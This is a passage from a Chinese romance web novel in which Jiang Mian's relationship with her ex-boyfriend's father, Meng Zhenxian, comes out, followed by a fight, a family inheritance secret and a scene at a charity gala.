江父在孟祯先来看望自己时,找了个借口,将江绵支出去,让那个男人单独留下来。 以江父对原主的关爱,江绵知道会有这么一遭的,也知道孟祯先肯定能劝动江父。 她想留下来听一听,但那两个人却在这会儿站到了同一战线上,只好先答应下来。 他们没能谈太久,孟祯先就出来了。 自从确认关系后,他的爱意值便突飞猛进,这会儿见她坐在客厅的钢琴前试音,抬脚走了过去。 “想弹什么?” 男人将她拢到怀里,附近打扫的阿姨见状,连忙避开了去。 江绵想躲开,但他好像预判了自己的动作,拢得更紧了些,看向自己的眼神也有些深意,她只好放慢呼吸,任由他去。 他们交往以来,他其实没有对她做过太越界的事,连亲吻都很少,只是动不动喜欢将她抱到怀里,如果这个程度都不能忍受的话,就太没信用了。 江绵自己并不反感这种亲昵,但原主是“被强迫”,适当的抵触还是很有必要。而且她觉得,对方也很吃这种若即若离的抵触。 于是,尽管乖乖待在男人的怀里,被他握着手弹琴,脸色却有些别扭,还往旁边了点。 “孟叔,我爸跟你说了什么?” 孟祯先虚虚地揽着她,跟着弹了几个音节,嗓音不疾不徐,“专心点。” 他自己并不会弹,只是被女孩带着动,女孩不动,便也停了下来。 “不告诉你就不弹了?” 江绵抿着唇,没有回答。 孟祯先:“先弹完一首,我就跟你说。” 在她胡弹一气,终于停下手后,孟祯先感到了一点好笑,他的话却没那么友善,“你父亲希望我和你分开,你也这么想?” 江远庭其实不是那样说的,他的原话要不客气得多,江绵多半也想象得到。 她静了静,小声道,“我会去劝他的。” 她说这话时,微微驼着背,低垂的侧脸,洁白柔嫩得像开在树梢的栀子花瓣,让人不忍心为难之意。 孟祯先心里叹了口气。 在松城的圈子里,没有哪个从业者提到他时,会说他心肠柔软,阿谀都说不出这么无耻的称赞。 但是每次面对江绵时,却总是无法做到和平日一样。 “你父亲那边,我会想办法。”孟祯先道,“预约的时间快到了,现在先去吃饭。” 江绵抬起眼皮,有些莫名地看了他一眼。 她感觉得到,这不是他原本要说的话,但他现在不想提起,硬逼是问不出来的,而且那样也有点脱离人设,于是顺从地起身,跟他出门了。 她心里存着事,没注意到树丛外还候着一个人影,坐到副驾驶上,孟祯先越过身给她系安全带时,才听到砰地一声,有什么东西被砸开了。 19. 过渡品 孟逐好不容易才骗过常悦瑶,独自来找江绵的。 前往江宅的路上,他找到了一点似是而非的既视感,这个发现让他有些激动,这意味着他离找回记忆更近了一步。 但下一秒,他又高兴不起来了。 找回记忆之后,就要面对自己出轨的事实,而且,今天的场景,多像那天他绞尽脑汁摆脱江绵,却见常悦瑶的时候,这让他多少感到了荒诞。 天色也阴沉沉的,只是没有下雨。 他去见常悦瑶时,从楚沛那里知道了她和徐然有过婚姻的事,对自己的胜算是要么一要么零。 但江绵不同。 只要她能听自己好好解释,说不定还有回寰的余地。 他可以向她爸道歉,说明自己没有帮忙的原因,江教授不是个连楚沛之前造谣都能谅解的好人吗,他肯定会原谅自己的。 孟逐不断给自己打气,坐车到了江宅楼下。 他想立刻敲门,但想到女孩早就把自己拉黑的事,又担心她听到他的声音不会开门,江教授会不会直接撵他滚,犹豫了很久,还是准备等在外面。 她总会出门的。 今天不是周三嘛,她晚上还要去上课的。 她搬回去时,忘记把球包带走了。 他帮她把球包带过来,还省的她多跑一趟呢。 这么想着,孟逐从下午一点等到了晚上六点,就在他等得有些不耐烦时,江绵终于出来了。 孟逐连忙起身,看到她身边还跟着一个高大的男人。 暮色四合,路灯还没亮起,他隔着一段距离,有些看不清男人的面孔,只觉得分外眼熟。 男人揽着女孩的腰,听她讲话时,微微倾身,体型差养眼登对,走到一半还不忘替她整理帽檐,看得孟逐牙痒。 他还没同意分手,她怎么能那么快就有了新欢? 孟逐扼制不住烦躁地情绪,正要上前质问,就看到两人坐进了一辆豪车中,男人倾身吻住了江绵。 他不可置信地瞪大眼,等感觉到痛时,自己已经冲过去拉开了车门,将男人从车里拖出来,被反应极快的男人挥了一拳。 然而,被怒气点燃的双眼已经看不见任何东西。 孟逐下意识还手,来回好几次,发现自己不但没有打过对方,还在江绵面前被压制住时,屈辱和羞耻感一时间达到了巅峰。 他的脸贴在座椅上,鼻血淌到嘴巴上,整个人像一条砧板上跳动的鱼,“江绵,我还没答应分手,你不能就这么甩了我——” 他说着说着,人就忍不住哽咽起来了。打不过情敌就算了,还是在江绵面前挨打。 实在太丢人了。 怎么能那么丢人啊。 孟逐要被自己气哭了。 但江绵却没有笑他,而是坐在座位上,用一种他很久之后才能明白的目光看着他,对他身后的人道:“孟叔,放开吧。” ……孟叔? 孟逐僵住脸。 江绵只叫过一个人孟叔,她只叫过的那一个人,还是他引荐他们见面的。感觉到身后消失的桎梏,孟逐缓缓转过脸,看到了一张他从未设想过的面孔。 也就在这一瞬间,他才发现刚才自己趴着的那张座椅那么眼熟,不仅如此,这辆车的车牌号,车型也是。 孟逐打了个冷战,感觉命运跟他开了一个天大的玩笑。 刚才他还觉得打不过情敌很羞耻,现在这种感觉已经离他远去了,取而代之的是一种灵魂仿佛被抽空的虚无感。 他死死盯着那张自己熟悉到不能再熟悉的面庞,仿佛要用目光在上面烧出一个洞来,好烧毁这场吊诡的梦境。 但是他盯了那么久,什么也没发生,反而是自己哆嗦着嘴唇,低低叫出一句,“爸。” 与孟逐这副见了鬼的样子不同,孟祯先镇定得多。 他心平气和地应了声,丢了张手帕给他堵鼻血,然后对江绵道:“时间过了,今晚不吃了,你先回去吧。” 发生了这种事,江绵想吃也没胃口了。她没看孟逐,点点头,下车回去了。 孟祯先看了眼仰着头堵鼻血,还用伤心怨恨的余光怒视自己的儿子,打开后排车门,“上去。” 孟逐看了车后排,还是捡起刚才掉到地上的球包,坐了上去。 孟祯先把他带回家,叫了家庭医生给他擦药,一起吃完晚饭就回楼上睡觉了。 没有一点要解释的意思。 他抢了江绵,当然是睡得香了。 孟逐却一点困意都没有。 他宁可他爸根本大吵一架,结果什么都没有,好像这件事就这么稀松平常的过去了。 孟逐不能接受。 孟祯先起来时,发现他还挡在洗手间门口,不由捏了捏鼻梁,“皮又痒了?” 孟逐想到他爸昨天怎么教训自己的,就有点发憷。 从他上初中开始,他爸就没有动过手了。 这还是那么多年以来第一回,比起疼痛,更令他气愤的是,他居然打不过他。 “爸,你不能这么对我。”他追上去,“绵绵是我的女朋友!你不能强迫她跟你在一起!” “强迫?” “没错!” 孟祯先冷笑一声,他倒不是笑他骂自己强迫,而是笑他分不清先来后到。 “你跟她领证了?” “我们迟早会领的!” 发现他手里还攥着那只球包,好像怕自己再次动手,打不过所以找个东西当依仗一样,孟祯先神情倦冷,“迟早,那就没有了。等你和常家那个小女儿办完婚礼,江绵就是你后妈。现在给我让开。” 孟逐:“……” 孟逐抱着球包,憋屈地从家里跑了出去。离开这个家他才发信啊,自己根本没有可以容身的地方。 常悦瑶图什么以前他看不懂,现在是很清楚了。 他的个人价值不会比弘光继承人这个头衔高到哪里去,楚沛也是。 虽然他们是兄弟,但他要是真跟他爸断了,楚沛就算真愿意帮衬一二,也坚持不了多久。 楚家很快就会让他避开自己。 孟逐开着车在城里晃了一圈,最后不知不觉开进了一家高级养老院。 孟董,就是孟逐的奶奶,是孟家最偏心他的那个,就住在这里。 之前他爸让他出院了就来见奶奶,他以为琐事缠身忘记了,现在走投无路才想到她,这让孟逐产生了自厌感。 但奶奶却接纳了他。 “没地方去就在这儿住吧,反正房间多得是。” 孟逐擦了擦眼睛,笑着欸了一声。话是这么说,他其实没能呆上几天。常悦瑶就催命似的赶过来了。 “你是不是在躲我?” 发短信不回,打电话不接。 常悦瑶会着急是很合理的。 孟逐对她却不能感同身受,他冷着脸敷衍对方,在她真的被气到肚子疼了,才安抚了几句。 但安抚完,又道:“我陪了你那么久,陪我奶奶住几天怎么了?你要是担心我出去乱玩,干脆也住过来。你不是总是这痛那痛吗?养老院也有专门的医务室。” 孟逐说这话时,孟董就坐在对面和院友打麻将,闻言还笑眯眯地看了眼常悦瑶,“是啊,常小姐。不介意的话,一起过来住。” 常悦瑶笑容勉强,“不、不用了。” 她抓起包,马不停蹄地离开了。 孟逐看着她的背影,脸上还是那副懒懒散散的神色。他这几天都在养老院瞎晃,也没人来管他。 孟董沉迷麻将,晚上追剧时才有时间过问孙子的事。 她都那么大岁数了,孟逐不好让她动气,没敢说他爸在跟他抢女朋友的事。 孟董看他不说,也就没问。倒是看到他每天不离手的球包时,多看了眼,“你什么时候迷上打高尔夫了?” 孟逐想说女朋友喜欢,但临到嘴边,还是默认下来。 “成年了学高尔夫有点难啊,”孟董伸出手,“给我看看你的球杆。” 孟董年轻时当过职业选手,对球杆很有研究,孟逐犹豫了下,还是递给她。 但是拉开球包,把球杆拿出来时,两个人却都愣住了。 孟董以为这根曼佛球杆是孟祯先拿给孟逐学球用的,见状还有些惊讶。 因为她送这个球杆给孟祯先时,那孩子高兴得不得了,后面一直珍藏在收藏室里,怕弄坏了,没想到会拿给孟逐练手。 孟逐听完,想的却是另一件事。 他在他爸的收藏室见过这根球杆,想借来用用,他爸没同意,当时他学球三心二意,也就没放在心上。 但是他可是听说江绵亲口说这根球杆是她教练拿给自己用的。 她的教练,难道一直以来都是他爸?弘光的老总每周三去给人上课,哪有那种可能啊?! 他爸又不是没见过美人,过去有的是想当他小妈的女人,不至于说见过江绵一面,就起了心思吧。 孟逐越想越不安,他抓起球杆道:“奶奶,我出去一趟。” 他要去弄清楚,这到底是怎么一回事! 在江远庭的事情上失手后,徐然就被陈副董冷处理了。 他没有了工作,只剩下陪未婚妻这一件事。 徐然虽然会装,但像这样每天维持假面,还是有些疲于应对。 在听到孟逐找他时,虽然有预感不是什么好事,但还是出去了。 “上次你说,要我当心楚沛和江绵,对吧?” 徐然听到这一句,就知道孟逐发现什么了。他好整以暇地笑道:“是的。” 孟逐轻咳一声,“我记得你当时还提到一个人……”发现徐然没有接上自己的暗示,他有些不爽,但还是道:“那个人是谁?” 徐然静了片刻,“我不能说。” 孟逐觉得他简直有病,“你装什么,我那天要是没打断你,你不就直接说了。” “现在情况不一样,”徐然朝等在不远处的未婚妻看了眼,对孟逐道,“我被警告过,已经不敢随便说话了。” 孟逐皱了皱眉。 “行,那你告诉我。你在哪里见到楚沛,还有……还有那个人的。” 徐然思索半晌,露出了笑容。 * 得知孟逐住在养老院后,孟祯先没再过问。 礼服的尺寸已经修好了,也找了婚礼策划公司订好了日期和场地,请帖也发了出去,现在除了待在养老院的孟逐,整个松城都知道了他准备结婚的事。 孟祯先是头婚,又是一手将弘光发展成今天这个庞然巨物的缔造者,外界都在猜他的妻子来头,但那些小道消息没有传播开来,就被舆情部门压了下去。 其余的时间,孟祯先比以往更加投入工作。 尽管他平时也是这副样子,但刘秘书总觉得有些专注过头了。 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他脸上的郁气一散而空,看起来意气风发,反倒是孟董,像是有些疲惫,老板则还是他们离开时的样子,坐在桌前,慢条斯理地收拾面前的文件。 刘秘书进去时,和孟逐擦肩而过。 这名年轻人看了她一眼,突然拔高音调,“刘秘书,以后我们就是上下级了,要是我有哪里做得不好,请多多担待。” 刘秘书一头雾水。 他跟她怎么上下级? 不过几分钟后,她还是从孟祯先这里得到了准确的消息,孟董打算让他把位子还给孟逐,还有一个月的交割时间。 “给孟逐?” 刘秘书都听呆了,孟逐才多大,在职场的经验完全不足以撑起弘光这个庞然巨物,孟董是怎么想的,她是打算毁掉这个牌子,还是想把那么多年的心血赔进去? 刘秘书几乎不能想象下个月的股市会动荡成什么样,正要问孟祯先怎么同意的,不考虑其他高层的意见吗,对方就告诉了她实情。 另一边,孟逐也找到了江绵,说了同样的内容,“他不是孟家的人。” 这段时间,孟逐已经查清楚了。 不管是球馆,还是“周威”,亦或者奶奶说漏嘴时,意外发现的,自己的身世。 “我爸根本就不是我爸,他甚至不是孟家的小孩。”孟逐告诉江绵,“他就是我奶奶领养的孤儿。” 当年,孟逐的奶奶和门当户对的他爷爷联姻,因为不想给这个花心的联姻男生育,就假装怀孕去乡下小住,然后托人去孤儿院领养了个小孩。 那个时候手续不完善,她带着孩子回去,没有引起任何人怀疑。 爷爷去世时,奶奶还很年轻,在职场里遇见爱慕的对象,才有了自己。 孟奶奶不想让他成为被人诟病的非婚生子,又不好再婚,让外人瓜分孟家,即使是她喜欢的人也不行,于是和养子商量,把孟逐填到了他的户口本下。 孟逐握住女孩的手,语气有些急切,“绵绵,你不知道吧。 你去学高尔夫的那家球馆,就是收了他的钱,才让他冒充什么周教练来教你的。 你用的那根球杆,还是他以前学球的时候用的,他早就处心积虑想抢走你了。” 知道孟祯先不是他生父,只是吃他们家,用他们家,占他们家红利的幸运儿后,孟逐对他尚存的孺慕一下子就稀释了。 如果没发生他和他抢江绵的事,孟逐还只是有点嘀咕。 但他享受了他们家给的恩惠,还反过来跟自己抢东西,孟逐就不能忍受了。 “幸好奶奶有先见之明,在他成年时就让他签过合同的。 只要他有结婚的意思,就要把弘光还给我。我已经让奶奶去找他兑现合同了,马上弘光就是我的,你也不需要跟他周旋了,回到我身边吧。” 江绵听得有些怔愣。 她想到什么,“孟奶奶喜欢白桔梗吗?” 孟逐:“喜欢的!” 他以为她都想要和自己去见奶奶,高兴得呼吸都变快了,“绵绵,你想——” 女孩把手抽了出去。 她眨了眨眼,迎着自己有些困惑的视线,嗓音很轻很轻地道:“孟逐,你什么时候想起来的?” 孟逐笑容凝住,“什么?” 江绵安静地看着他,“你从来没叫过我绵绵。”只有没有失忆的孟逐才会。 孟逐张了张嘴,正要解释,就听女孩道,“你叫得太顺口了,不可能是今天才恢复的,所以你很早就想起来了吗? 我以为你是在只记得常小姐的情况下和她出轨的,但你记得。所以你是在——” “不是!”孟逐慌忙打断她,“绵绵,我是才想起来的。不对,我是从你家回去那天才想起来的。之前还没有……” 他语无伦次地想说自己虽然想起来了,对常悦瑶怎么有的孩子还是没有印象,他怀疑亲子鉴定是假的,她又不肯去别的鉴定中心再验一次,但江绵已经不肯听下去了。 她拿起球包,“谢谢你把它还给我。” 特意将球包落在病房,就是为了等这一天。虽然来的比她想象得要慢,但总归是来到了。 “不要再来找我了,孟逐。” 20. 过渡品 孟逐看着对面的空位,长久地发起了呆,直到经理上前,委婉地提醒他,他们要关店了,才反应过来。 孟逐看了眼周围,偌大的餐厅里,只有他、经理、厨师,还有两名打瞌睡的侍应生,其他人早就下班了。 这是一间三面环江的西餐厅。 为了这场约会,他包下了这家以江景闻名的餐厅的整个夜间营业时段,坐在这里,能欣赏到窗外五彩斑斓的灯光秀,驶过江面的观光游轮,还有对岸繁华的夜景,氛围浪漫又优雅。 他还特地从楚沛要来了他上次给江远庭上眼药时查来的资料,把这里布置成她喜欢的样子。 每个流程,都提前和店里交代得事无巨细。 但江绵好像没能注意到。 现在早就过了灯光秀的时间,观光游轮也停运了。 孟逐坐在那里,再次感到了那阵细微地抽痛。 他抬起手,摸了摸左胸,从机车外套的内袋掏出一只戒指盒。 这枚戒指不是临时准备的,而是在几个月前,准备和江绵结婚时就找人定制的。 当时,上面只有一颗几克拉的钻石。 那种净度的白钻,对普通人结婚已经够用了。 但对于他们这种一点风吹草动都会引发舆论的人家,要是结婚,另一半从头到脚都会被公众审判一遍。 要是被发现稍有对不上这个圈子主流的地方,就会被冠上各种刺耳的称号。就像这颗相对“廉价”的白钻。 孟逐不是不知道,可还是这么做了。 因为在那时的他心里,江绵只值这个水平。 他现在尝到轻视的苦头了。 看着上面那颗花光他大部分积蓄,还问奶奶借了欠条才临时拍下的粉钻,孟逐感觉眼睛都被它绚目的反光深深刺伤了,他低下头,有些狼狈地合上戒盒,从桌前起身,对经理丢下一句知道了,就大步流星地朝外走去。 得去找他爸。 一定是他爸,不对,一定是那个老男人对江绵说了什么,不然她不会那么快拒绝他的。 孟逐越想越觉得这才是真正的原因。 那个老男人都能冒充高尔夫教练骗她了,做出别的事有什么不正常的,他肯定提前跟江绵坦白过,她才没有责怪他的。 肯定是这样。 不然她怎么会一下子就注意到自己的漏洞呢,正常人都该震惊于弘光的老板不是孟董的亲儿子吧。 他极力去忽略江绵对他的了解足够深,才会一下子发现了端倪,脸庞一会儿红一会儿白,好像忽然发起了高烧。 孟逐是孟祯先带大的。 扪心自问,就算孟祯先不是他亲爸,可他在监护人的身份上,的确对自己没话说。 孟逐从小到大的所有作业,都是在总裁办的那张办公桌边上做的;他的每一场家长会,参加的每一次大型活动,每一个拿奖现场,孟祯先就算前一天刚下飞机,熬了通宵,也会到达现场。 孟逐身边的朋友里,就算是亲爸妈,也没办法做到像他这么尽心的程度。不是工作缠身,就是各种私生子女分走了他们的精力。而孟逐从来没有这种苦恼。他爸似乎天生对女人无感,他宁可相信孟祯先把弘光视作了妻子,也没办法相信自己突然多出一名后妈。 孟逐发现自己喜欢常悦瑶,是在高一下学期的暑假。 现在已经想不起来为什么喜欢上她了,但当时就好像被一根线牵引着,在一个瞬间就被她吸引住了,然后就开始追在她后面,做了很多现在想起来都觉得匪夷所思的蠢事。 他们在高考毕业后交往,就开启了长达几年的分分合合。 他看得出常悦瑶也是喜欢自己的,常悦瑶也是,不然她不会在短暂的分手期间和其他男人恋爱,然后又跑回来找自己复合,明知道他会怎么疯狂报复那些被她看上过的男的,她只是仗着他喜欢她而已。 孟逐都做过在这段感情里陷一辈子的准备,但他爸出手了。 某种意义上来说,没有他爸,他就不会和江绵认识,也不会走到今天这个地步。 这也是孟逐最害怕的地方。 他隐隐觉得,或许就像他和常悦瑶一样,他爸和江绵才是有缘分的,他间接使他把江绵带到了自己面前。 可是这不对啊,不该是这样的。 命运既然让他遇到了想要共度一生的人,对方也喜欢自己,他们就该在一起才对。为什么还要生出那么多枝节? 孟逐还是没有勇气见他爸。 但当他回到养老院,睡到第二天中午,看到奶奶的麻将桌前多出的那张面孔时,却开始极度后悔没有坚持昨晚的想法。 “小逐,”孟董朝对面笑容满脸的中年女人点了点下巴,对自己道,“见到你常阿姨,怎么不过来打个招呼?” * 江绵再次得到孟逐的近况时,是在几天后的短视频上。之后,来江宅接她去赴宴的刘秘书也证实了这点。 “这是孟董的意思。” 刘秘书点到即止地道。 她隐晦地瞄了女孩一眼,好像以为她会对孟家和常家联姻的安排露出失落的神色,但江绵只是笑了笑,语气没什么起伏地道:“那很好啊,替我恭喜他。” 孟逐痊愈后,就被业务部叫回去上班了。 刘秘书每天都能在公司碰见他被主管带去应酬,他即将接替孟总的消息还在保密阶段,周围人还是跟以前一样和他相处,更别说外头了,这样讲倒也没错。 只是作为一个刚和前男友分手不久的年轻女孩而言,这么平静的姿态就算是装出来的,也算得上冷酷了,和这副漂亮柔弱的外表实在不太相称,倒让她看到了几分老板的影子。 也许就是这个缘故,才会头脑发热到做出跟儿子抢老婆的事吧。 刘秘书应了声,正要移开视线,身旁就响起女孩轻轻柔柔的声音,“刘秘书,孟叔又不来吗?” 刘秘书愣了下,看向江绵。 比起刚才提到孟逐时的淡然,这会儿她看起来才真的像个涉世不深的年轻女孩了,说话时,望着自己的眸光有些不安,放在膝上的手指也稍稍扣紧了手提包的边缘,好像怕听到自己不想听到的坏消息。 “他最近,是不是在躲我?”女孩垂着薄眼皮,“我已经很久很久没收到他的消息了。” 刘秘书:“……” 她像是突然明白什么,原本有些警惕的神情软和下来,“江小姐误会了,孟总不是故意不回你的。要到月底了,他最近都没再十二点前下过班。” 江绵抬起脸,“真的吗?” 刘秘书点头,“孟总很关心你,有些场合需要带你见见,但他又没时间,才把我叫过来陪你。换做别人,他也没有那个心力。” 江绵闻言,眼里的不安褪去了些许,她小小地松了口气,“那就好,我还以为……” 她想撑出一个笑容,但语气也不受控制地失落下去,“我以为他后悔了。” 刘秘书听到女孩这么说,心里也有些不是滋味。 她其实也不清楚孟总在想什么。 孟董带着孟逐来了一趟弘光后,她不能接受职务变更,还想靠以前攒的人情问问能不能收回这个决定,就猝不及防从老板那里听到了一个更复杂的秘密。 他以前都没说过,现在突然告诉她,要么是要打算开了自己,要么就是这个秘密不再是秘密了。 起码在孟逐那里不再是。 短时间里,他对孟总的恶感是消不下去了,为了夺回失去的一切,他也会把这个故事添油加醋地告诉自己想争取回来的女孩。 孟总估计就是察觉到这点,才开始有意避开和江绵见面吧。他担心她放弃自己。 毕竟年轻人的想法,总是不太可控。 可是现在看起来,倒是孟总多虑了。 刘秘书转过脸,“不会的。” 没有察觉到自己刚刚升起的芥蒂就被短短几句话里化解干净了。 这是一场为贫困山区儿童募捐举办的慈善晚宴,汇聚了一整个松城的名流和豪门。宴会厅里,衣香鬓影,到处都能看到衣着华贵,谈吐不俗的男男女女。 但她们到的时候,还是引起了一小阵波动。就像投入湖心的石子般,在江绵周围荡开了圈圈涟漪。 这场晚宴请的人不多,大多都是一个交际圈的,不是熟人,也是熟人的朋友。而江绵却是一张生面孔。 尽管她长了张出现在荧幕上不会失色的清丽面庞,但这种地方,最不缺的就是美人了。真正让他们注意到的,是站在她身后的那位中年女士。 毕竟,没人认识这个标致的小女孩,但这里的大多数人都认识弘光的刘秘书。 刘秘书是孟总的得力助手,只会负责弘光最重要的那部分工作,此刻却陪在这个女孩边上,耐心细致地为她介绍出于好奇前来搭话的宾客。 不仅如此,年轻一代中和弘光走得最近的,楚家那个很会来事的儿子也在其中。 和其他宾客不同,他像是认识女孩的,一上来不需要刘秘书介绍,就姿态熟稔地和对方聊起天来,再加上那些和她说过话的宾客,走开后都一副讳莫如深的表情,更加让人朝某个方向怀疑起来。 孟逐和江绵从恋爱到结束,都没有带她来过这种场合,再加上他和常家的小女儿打得火热,谁也觉得这个年轻女孩和孟逐有什么关系,而是想到另一个人。 弘光那位孟总,刘秘书的老板,不是才发过请帖么。他要娶的那个叫江小姐,该不会就是对面这个小女孩吧…… 怀疑归怀疑,谁也没凑到人家面前讨这个嫌。 有些自恃身份的中年人倒是叫了自家小辈去探探路,要真是孟祯先的妻子,正好刷个脸熟; 不是的话,就刘秘书这个细心劲儿,估计也是连弘光都要捧着哪家外地来的千金,认识一下也是好事。 刘秘书原本以为陪江绵参加宴会是件容易的事。 江绵文静内向,又是初来乍到,大家就是好奇,也不会贸然上前打招呼,没想到送走一波又来一波。 好在江绵不是那种惯于社交的个性,没聊 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她穿了条藕粉色的小礼裙,白皙丰润的皮肤被这颜色衬得愈发清透有气血,长发编起来盘在一侧,上面点缀了几颗珍珠,只在颊边垂了几缕卷发,乍然望去,宛如黑夜中的点点繁星。 不过,被“繁星”簇拥着的女孩似乎没意识到这点,见到自己,懵了下,才露出一个淡淡的笑脸,“楚少。” 楚沛本来有一肚子问题要问的,但看着江绵的脸,他又一下子宕机了,他都不敢多看,嘴上却还贫道:“今晚怎么打扮得那么漂亮?都快认不出来了。” 楚沛说话一向是这样的,怎么夸张怎么来,倒没想到别的,江绵也知道他的意思,礼尚往来地笑道:“谢谢,你也是。” 虽然只是客套,但同样的话从不同的人说出来,效果是完全不同的。有的人就是能把普通的夸赞说得像真的一样。 楚沛嘿嘿一笑,正要谦虚两句,就发现刘秘书正脸色古怪地盯着自己,顿时敛起点笑容,对江绵比了个手势,“要不要去花园逛会儿?” 他别的本事没有,察言观色还是会的。刘秘书和江绵之间,很容易看得出谁是那个说得上话的。 果然,楚沛这么说完,刘秘书就提出了反对意见,“江小姐,您忘了孟总的话?” 还真是孟祯先叫来的啊? 楚沛有点牙疼。 不过,江绵听完,却咬了咬唇。 刚才那些人的窃窃私语,多少还是传进了她的耳朵。 “只是一会儿,没什么的,我很快就会回来。” 刘秘书见她坚持,皱了皱眉,想说什么,楚沛又抢先道,“放心,我会照顾好她的。” 他厚着脸皮对刘秘书笑笑,趁她反应过来前,把人带了出去。 走到花园里,才斟酌着开口,“江绵,你今晚怎么会过来?” 他在想她是不是不知道孟逐马上要和常家联姻,结果就听到女孩道,“楚少想问,我是不是冲孟逐来的吧?” 她的语气没什么尖锐的意味,还带着温和的调侃,但楚沛还是立刻反驳道:“当然不是!” 江绵眨了眨眼,“可是你看起来就是这么想的。” 楚沛的语气有点无奈,“不是啦。” “我是在想,”他小心翼翼觑了她一眼,“你和孟逐真的分了吗?” 见自己望来,好像怕她质问似的,又赶紧补充,“这可不是我说的,是孟逐跟我讲的。” 江绵:“如果是真的呢?” 楚沛拱起手放到嘴边,咳嗽一声,“如果是真的么……” 他想说,如果是真的,他就不算撬朋友墙角了,那还有没有机会,一段新的恋情也能帮助她尽快走出失恋的阴影等等,就被女孩拉住袖口,往下扯了点,“楚少,你低下来点,我有话跟你说。” 骤然扑近的香气让楚沛愣了下。 他并不是毫无恋爱经验的生手,对那些女孩爱用的小伎俩也见过不少,但被江绵这么一拉,明明知道她的意图,还是驯顺地低下头,凑过去,想听听她要说什么。 但还没听到她的下一句,袖子就被松开了。 “这里勾到了。” 江绵松开手,变魔术似的从他肩上捻下一颗珍珠,摊开给他看。柔润的淡水珍珠躺在女孩的手心,仿佛天生的胎记。 楚沛看得呼吸微顿,正要伸手去接,女孩又握住了,“我的。” 她把手背到身后,眼神有些紧张,好像他会跟她抢。 楚沛:“……” 楚沛忍不住笑出声,“喜欢珍珠是吧,等着。” 楚沛记得他今天带来送拍的藏品里,就有一套珍珠首饰。这个点,还没开始拍卖,快的话,临时换一件也来不及。 以前送了那么多东西都被江绵退了,原来是没有送到点子上啊。 他快步朝回走,准备去找主办方商量,没有注意到在他转过身后,女孩脸上故作紧张的神情隐没了下去。 她望向离楚沛的位置不远处,靠在那根立柱后,不知看了多久,一身熏人酒气,神情晦暗的男人,微微翘起了唇角,“晚上好呀,孟叔。”